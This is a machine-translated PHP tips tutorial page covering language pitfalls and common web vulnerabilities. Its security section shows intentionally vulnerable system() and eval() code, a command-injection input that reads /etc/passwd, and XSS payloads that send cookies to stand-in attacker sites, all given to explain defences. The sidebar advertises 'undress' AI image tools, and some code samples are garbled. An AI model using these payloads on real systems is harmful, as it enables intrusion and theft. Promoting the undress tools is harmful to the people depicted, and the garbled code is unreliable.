search
HomeBackend DevelopmentPHP TutorialPHP programming considerations_PHP tutorial
PHP programming considerations_PHP tutorialJul 14, 2016 am 10:08 AM
phpwhopriorityoperatePrecautionsprogrammingquestion

1. PHP’s implicit ternary operator (?:) priority issue:

Example 1:
$person = $who or $person = "laruence";
//Actually equivalent to:
$person = emptyempty($who)? "laruence" : $who;
Example 2
$arr = array(1=>1,3=>3);
$i = 2;
$a = 'test' . isset($arr[$i]) ? $arr[$i] : $i;
What is $a? This question seems simple at first glance,
$a = ‘test2’;
In fact, after careful consideration and running, the result is notice: Undefined index 2..
Due to priority issues, the connector has a higher priority than the ternary operator.
The first is to judge ' test'. isset($arr[$i]) This string is always true, therefore:
$a = $arr[$i]; causing php to prompt.
2. PHP function names and class names are not case-sensitive, but variable names are case-sensitive.
So the php modules I write often have capitalization problems and fail to compile.
3. Serialized delivery problem
Compress complex data types into a string
serialize() encodes variables and their values ​​into text form
unserialize() restores the original variables
$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);echo "
";
print_r(unserialize($new));
Result: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
When these serialized data are placed in the URL and passed between pages, you need to call urlencode() on the data to ensure that the URL metacharacters in it are processed:
$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4);
echo 'next';
The settings of the margin_quotes_gpc and magic_quotes_runtime configuration items will affect the data passed to unserialize().
If the magic_quotes_gpc option is enabled, data passed in URLs, POST variables, and cookies must be processed with stripslashes() before deserialization:
$new_cart = unserialize(stripslashes($cart)); //If magic_quotes_gpc is turned on
$new_cart = unserialize($cart);
If magic_quotes_runtime is enabled, serialized data must be processed with addslashes() before writing to the file, and stripslashes() before reading them:
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//If magic_quotes_runtime is turned on
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//If magic_quotes_runtime is turned off
$new_cat = unserialize(file_get_contents('/tmp/cart'));
When magic_quotes_runtime is enabled, serialized data read from the database must also be processed by stripslashes(), and serialized data saved to the database must be processed by addslashes() so that it can be properly processed storage.
mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('select data from cart where id=1');
$ob = mysql_fetch_object($rs);
//If magic_quotes_runtime is turned on
$new_cart = unserialize(stripslashes($ob->data));
//If magic_quotes_runtime is turned off
$new_cart = unserialize($ob->data);
When deserializing an object, PHP will automatically call its __wakeUp() method. This allows the object to re-establish various states that were not preserved during serialization. For example: database connection, etc.
4. Reference notes
Reference in PHP means accessing the same variable content with different names. The reference is not a C pointer (the pointer in C language stores the content of the variable and the address stored in the memory). It is another alias of the variable. Or mapping. Note that in PHP, variable names and variable contents are different, so the same content can have different names. The closest analogy is Unix's filenames and the files themselves - the variable names are the directory entries, and the variable contents are the files themselves. References can be thought of as tight links in a Unix file system or as shortcuts to wins.
1) Unset a reference, which only breaks the binding between the variable name and the variable content. This does not mean that the variable contents are destroyed
Example: Will not unset $b, just $a.
$a = 1;
$b =& $a ;
unset ( $a );
echo $b; //Output: 1:
The results of using unset($a) and $a=null are different. If the block of memory has only one mapping of $a, then unset($a) is equivalent to $a=null. The reference count of the memory becomes 0 and it is automatically recycled; if the block of memory has two mappings of $a and $b , then unset($a) will cause $a=null and $b remains unchanged, and $a=null will cause $a=$b=null.
Cause: Assigning a variable to null will cause the reference count of the memory block corresponding to the variable to be directly set to 0 and automatically recycled.
2) PHP references use reference counting and copy-on-write
Many people misunderstand that references in Php are the same as pointers in C. In fact, they are not, and they are very different. Except for the pointers in C language that do not need to be explicitly declared during the array transfer process, other points need to be defined using *. However, the pointer to address (similar to a pointer) function in PHP is not implemented by the user himself, but is implemented by the Zend core. Yes, the reference in PHP adopts the principle of "reference counting, copy-on-write" (Copy-on-Write, also abbreviated as COW), as the name suggests, it actually copies a copy of the memory when writing. Modify. )
That is, unless a write operation occurs, variables or objects pointing to the same address will not be copied, such as the following code:
$a = array('a','c'...'n');
$b = $a;
If the program only executes here, $b and $b are the same, but they do not occupy different memory spaces like C. Instead, they point to the same memory space. This is php and c. The difference is that you don’t need to write $b=&$a to mean that $b points to the memory of $a. zend has already implemented the reference for you, and zend will be very smart to help you judge when to do this and when. It shouldn't be handled this way.
If you continue to write the following code later, add a function, pass parameters by reference, and print out the array size.
function printArray(&$arr) //pass by reference
{
print(count($arr));
}
printArray($a);
In the above code, we pass the $a array into the printArray() function by reference. The zend engine will think that printArray() may cause changes to $a, and will automatically produce an $a for $b. Copy the data and re-apply a piece of memory for storage. This is the concept of "reference counting, copy-on-write" mentioned earlier.
Intuitive understanding: $a will use its own original memory space, while $b will use the newly opened memory space, and this space will use the original (before $a or $b changes) content space of $a Copy the content and then make corresponding changes.
If we change the above code to the following:
function printArray($arr) //Value transfer
{
print(count($arr));
}
printArray($a);
The above code directly passes the $a value to printArray(). There is no reference transfer at this time, so there is no copy-on-write.
To learn more about citations, please see: Detailed explanation of citations in PHP (reference counting, copy-on-write)
5. Encoding issues
The program code uses UTF-8 code, but the strlen function calculates the number of bytes of the string instead of the number of characters?
$str = "Hello hello";
echo strlen($str);
Result: ANSI=9 and utf-8=11, utf-8 Chinese character encoding is 3 bytes. To get the number of characters, use mb_strlen().
6. Three ways to get parameters in PHP
Method 1 Use $argc $argv
if ($argc > 1){
print_r($argv);
}
Run /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Run result:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
>
[1] => -f
>
[3] => -g
[4] => 456
)
Method 2: Use getopt function()
$options = "f:g:";
$opts = getopt( $options );
print_r($opts);
Run /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Running results:
Array
(
>
        [g] => 456
)
Method 3 Prompts the user for input and then obtains the input parameters. A bit like C language
fwrite(STDOUT, "Enter your name: ");
$name = trim(fgets(STDIN));
fwrite(STDOUT, "Hello, $name!");
Run /usr/local/php/bin/php ./getopt.php from the command line
Running results
Enter your name: francis
Hello, francis!
7. PHP strings can be used as arrays, just like C pointer strings
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>
The result is 10345
8. Efficient way to write PHP:
Please see: Highly efficient way to write PHP (detailed explanation of the reasons)
9. PHP security vulnerabilities:
There are mainly the following attack methods against PHP websites:
1. Command Injection
The following 5 functions can be used in PHP to execute external applications or functions: system, exec, passthru, shell_exec, "(same function as shell_exec)"
For example:
$dir = $_GET["dir"];
if (isset($dir)) {  
echo "";
system("ls -al ".$dir);
echo "";
}
?>
We submit http://www.test.com/ex1.php?dir=| cat /etc/passwd, and the command becomes system("ls -al | cat /etc/passwd"); Our server user The information may have been stolen.
2. eval injection (Eval Injection)
The eval function executes the input string parameters as PHP program code. Eval injection usually occurs when the attacker can control the input string.
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("$var = $arg;");
echo "$var =".$var;
}
?>
The vulnerability occurred when we submitted http://www.sectop.com/ex2.php?arg=phpinfo();
Methods to prevent command injection and eval injection
1) Try not to execute external commands.
2) Use custom functions or function libraries to replace the functions of external commands. Some servers even directly prohibit the use of these functions.
3) Use the escapeshellarg function to process command parameters. The esacpeshellarg function will escape any characters that cause the parameters or the end of the command. Single quotation marks "'" are replaced with "'", and double quotation marks """ are replaced with " "", semicolon ";" is replaced with ";"
3. Client-side script attack (Script Insertion)
Client-side script implantation attack steps
1). The attacker logs in to the website after registering as a normal user
2) Open the message page and insert the attack js code
3) Other users log in to the website (including administrators) and browse the content of this message
4). The js code hidden in the message content was executed, and the attack was successful
The form inputs some scripts that the browser can execute:
Insert <script>while(1){windows.open();}</script> infinite pop-up box
Insert<script>location.href="http://www.sectop.com";</script> Jump to phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
4. Cross Site Scripting (XSS)
Malicious attackers insert malicious HTML code into the Web page. When the user browses the page, the HTML code embedded in the Web will be executed, thereby achieving the special purpose of the malicious user.
Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once the attacker obtains this data, he can pretend to be this user to log in to the website and obtain this user's permissions.
General steps for cross-site scripting attacks:
1) The attacker sends the xss http link to the target user in some way, such as comment form:
Insert <script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
Or link:
http://w w w.my.site/index.php?user=document.location="http://w w w.atacker.site/get.php?cookie="+document .cookie;
2) The target user logged in to this website and opened the xss link sent by the attacker during the login process
3), the website executed this xss attack script
4) The target user’s page jumps to the attacker’s website, and the attacker obtains the target user’s information
5) The attacker uses the target user’s information to log in to the website and complete the attack
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
5. SQL injection attack (SQL injection)
The most effective defense against SQL injection is to use prepared statements:
Prepared statements (also called prepared statements) are a kind of query. They are first sent to the server for pre-compilation and preparation, and when the query is executed later, it is told where the parameters are stored.
The advantages:
1) Escape parameter values. So there is no need to call something like mysqli::real_escape_string or put the parameters in quotes.
2) When executed multiple times in a script, the performance of prepared statements is usually better than sending the query over the network each time. When a query is executed again, only the parameters are sent to the database, which takes up less space. .
1) Use PDO (PHP Data Objects):
PHP PDO::prepare() and execute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
2) Use mysqli:
$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// do something with $row
}
6. Cross Site Request Forgeries (CSRF)
7. Session Hijacking
8. Session Fixation
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack
11. Directory Traversal
12. Remote file inclusion attack (Remote Inclusion)
13. Dynamic Function Injection Attack (Dynamic Variable Evaluation)
14. URL attack
15. Spoofed Form Submissions
16. Spoofed HTTP Requests
Several important php.ini options: register_globals, magic_quotes, safe_mode. These options will be deprecated in PHP5.4.
register_globals:
php>=4.2.0, the default value of register_globals option in php.ini is Off by default. When register_globals
When
is set to On, the program can receive various environment variables from the server, including variables submitted by the form, and because PHP does not have to initialize the value of the variable in advance, it leads to great security risks.
Be sure to disable register_globals. If register_globals is enabled, it's possible to do careless things like use a $variable to replace a GET or POST string with the same name. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use variables from a form POST, $_POST['variable'] should be quoted. This way you won't mistake this particular variable for a cookie, session, or GET variable.
safe_mode:
Safe mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. To enable safe mode, safe_mode=On in php.ini must be set
magic_quotes
is used to automatically escape the input information of the PHP program. All single quotes ("'"), double quotes ("""), backslashes ("") and null characters (NULL) are automatically escaped. Add backslashes to escape magic_quotes_gpc=On to set magicquotes to On, which will affect HTTP request data (GET, POST, Cookies). Programmers can also use addslashes to escape submitted HTTP request data, or use stripslashes to remove the escaping
.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/477758.htmlTechArticle1. PHP’s implicit ternary operator (?:) priority issue: Example 1: $person = $who or $person = laruence; //actually equivalent to: $person = emptyempty($who)? laruence : $who; Example 2 $arr =...
Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
php怎么把负数转为正整数php怎么把负数转为正整数Apr 19, 2022 pm 08:59 PM

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

php怎么实现几秒后执行一个函数php怎么实现几秒后执行一个函数Apr 24, 2022 pm 01:12 PM

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php字符串有没有下标php字符串有没有下标Apr 24, 2022 am 11:49 AM

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php怎么除以100保留两位小数php怎么除以100保留两位小数Apr 22, 2022 pm 06:23 PM

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

php怎么根据年月日判断是一年的第几天php怎么根据年月日判断是一年的第几天Apr 22, 2022 pm 05:02 PM

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php怎么读取字符串后几个字符php怎么读取字符串后几个字符Apr 22, 2022 pm 08:31 PM

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

php怎么替换nbsp空格符php怎么替换nbsp空格符Apr 24, 2022 pm 02:55 PM

方法:1、用“str_replace("&nbsp;","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\&nbsp\;||\xc2\xa0)/","其他字符",$str)”语句。

php怎么查找字符串是第几位php怎么查找字符串是第几位Apr 22, 2022 pm 06:48 PM

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),